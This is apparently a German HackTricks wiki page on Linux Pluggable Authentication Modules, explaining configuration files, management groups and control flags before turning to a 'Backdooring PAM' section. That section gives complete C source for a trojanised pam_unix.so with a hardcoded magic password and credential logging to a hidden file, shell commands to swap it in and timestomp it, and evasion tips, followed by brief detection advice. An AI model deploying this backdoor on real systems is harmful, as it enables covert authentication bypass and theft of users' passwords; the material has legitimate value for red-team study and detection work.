PAM - Pluggable Authentication Modules
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
PAM (Pluggable Authentication Modules) fungiert als Sicherheitsmechanismus, der die Identität von Benutzern überprüft, die versuchen, auf Computerressourcen zuzugreifen, und ihren Zugang basierend auf verschiedenen Kriterien steuert. Es ist vergleichbar mit einem digitalen Torwächter, der sicherstellt, dass nur autorisierte Benutzer mit bestimmten Diensten interagieren können, während ihre Nutzung möglicherweise eingeschränkt wird, um Systemüberlastungen zu verhindern.
Konfigurationsdateien
- Solaris- und UNIX-basierte Systeme verwenden typischerweise eine zentrale Konfigurationsdatei, die sich unter
/etc/pam.conf
befindet. - Linux-Systeme bevorzugen einen Verzeichnisansatz und speichern dienstspezifische Konfigurationen in
/etc/pam.d
. Beispielsweise befindet sich die Konfigurationsdatei für den Anmeldedienst unter/etc/pam.d/login
.
Ein Beispiel für eine PAM-Konfiguration für den Anmeldedienst könnte so aussehen:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
PAM-Management-Bereiche
Diese Bereiche oder Managementgruppen umfassen auth, account, password und session, die jeweils für verschiedene Aspekte des Authentifizierungs- und Sitzungsmanagementprozesses verantwortlich sind:
- Auth: Validiert die Benutzeridentität, oft durch Aufforderung zur Eingabe eines Passworts.
- Account: Behandelt die Kontoverifizierung und prüft Bedingungen wie Gruppenmitgliedschaft oder zeitliche Einschränkungen.
- Password: Verwaltet Passwortaktualisierungen, einschließlich Komplexitätsprüfungen oder der Verhinderung von Wörterbuchangriffen.
- Session: Verwaltet Aktionen zu Beginn oder am Ende einer Dienstsitzung, wie das Einbinden von Verzeichnissen oder das Setzen von Ressourcenlimits.
PAM-Modulsteuerungen
Steuerungen bestimmen die Reaktion des Moduls auf Erfolg oder Misserfolg und beeinflussen den gesamten Authentifizierungsprozess. Dazu gehören:
- Required: Das Scheitern eines erforderlichen Moduls führt letztendlich zu einem Misserfolg, jedoch nur nachdem alle nachfolgenden Module überprüft wurden.
- Requisite: Sofortige Beendigung des Prozesses bei Misserfolg.
- Sufficient: Erfolg umgeht die restlichen Überprüfungen des gleichen Bereichs, es sei denn, ein nachfolgendes Modul schlägt fehl.
- Optional: Führt nur dann zu einem Misserfolg, wenn es das einzige Modul im Stapel ist.
Beispiel-Szenario
In einer Konfiguration mit mehreren Auth-Modulen folgt der Prozess einer strengen Reihenfolge. Wenn das pam_securetty
-Modul das Anmelde-Terminal als unautorisiert erkennt, werden Root-Anmeldungen blockiert, dennoch werden alle Module aufgrund des "required"-Status weiterhin verarbeitet. Das pam_env
setzt Umgebungsvariablen, die möglicherweise die Benutzererfahrung unterstützen. Die Module pam_ldap
und pam_unix
arbeiten zusammen, um den Benutzer zu authentifizieren, wobei pam_unix
versucht, ein zuvor angegebenes Passwort zu verwenden, was die Effizienz und Flexibilität der Authentifizierungsmethoden erhöht.
Backdooring PAM – Hooking pam_unix.so
Ein klassischer Persistenztrick in wertvollen Linux-Umgebungen besteht darin, die legitime PAM-Bibliothek mit einem trojanisierten Drop-in auszutauschen. Da jede SSH-/Konsolenanmeldung letztendlich pam_unix.so:pam_sm_authenticate()
aufruft, genügen ein paar Zeilen C, um Anmeldeinformationen zu erfassen oder einen magischen Passwort-Bypass zu implementieren.
Kompilierungs-Spickzettel
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
Kompilieren und heimlich ersetzen:
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
OpSec Tipps
- Atomare Überschreibung – schreibe in eine temporäre Datei und
mv
sie an den Platz, um halbgeschriebene Bibliotheken zu vermeiden, die SSH sperren würden. - Die Platzierung von Protokolldateien wie
/usr/bin/.dbus.log
vermischt sich mit legitimen Desktop-Artefakten. - Halte die Symbolexporte identisch (
pam_sm_setcred
usw.), um Fehlverhalten von PAM zu vermeiden.
Erkennung
- Vergleiche MD5/SHA256 von
pam_unix.so
mit dem Distro-Paket. - Überprüfe auf weltweit beschreibbare oder ungewöhnliche Eigentümerschaften unter
/lib/security/
. auditd
Regel:-w /lib/security/pam_unix.so -p wa -k pam-backdoor
.
Referenzen
- https://hotpotato.tistory.com/434
- Palo Alto Unit42 – Infiltration von globalen Telekommunikationsnetzwerken
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.